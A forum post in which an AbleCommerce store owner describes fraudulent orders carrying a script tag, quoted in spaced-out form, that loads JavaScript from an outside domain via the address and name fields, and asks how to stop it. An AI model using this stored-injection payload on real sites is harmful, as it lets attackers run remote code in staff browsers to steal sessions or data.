Yesterday morning, we received a strange order. The billing and shipping information was for New Hampshire but the IP location was Singapore. For our customer base, this kind of scenario usually means a fraud attempt. This is not totally uncommon and we have procedures for this. But, I noticed something different about this order in that it had the following in Address Line 2 fields:

< script src = //addjs.co > < /script >

I've spaced out various parts of the code because i thought that would render it inoperable. I removed this code from the address line 2 field and followed our process for handling refund orders. This morning I received another of these same types of orders, with the same script in the Last Name field.

I do not know much about this other than the fact that it is a JavaScript Injection attempt. But to what end? What measures can we take within the AbleCommerce system to prevent this type of thing from happening again?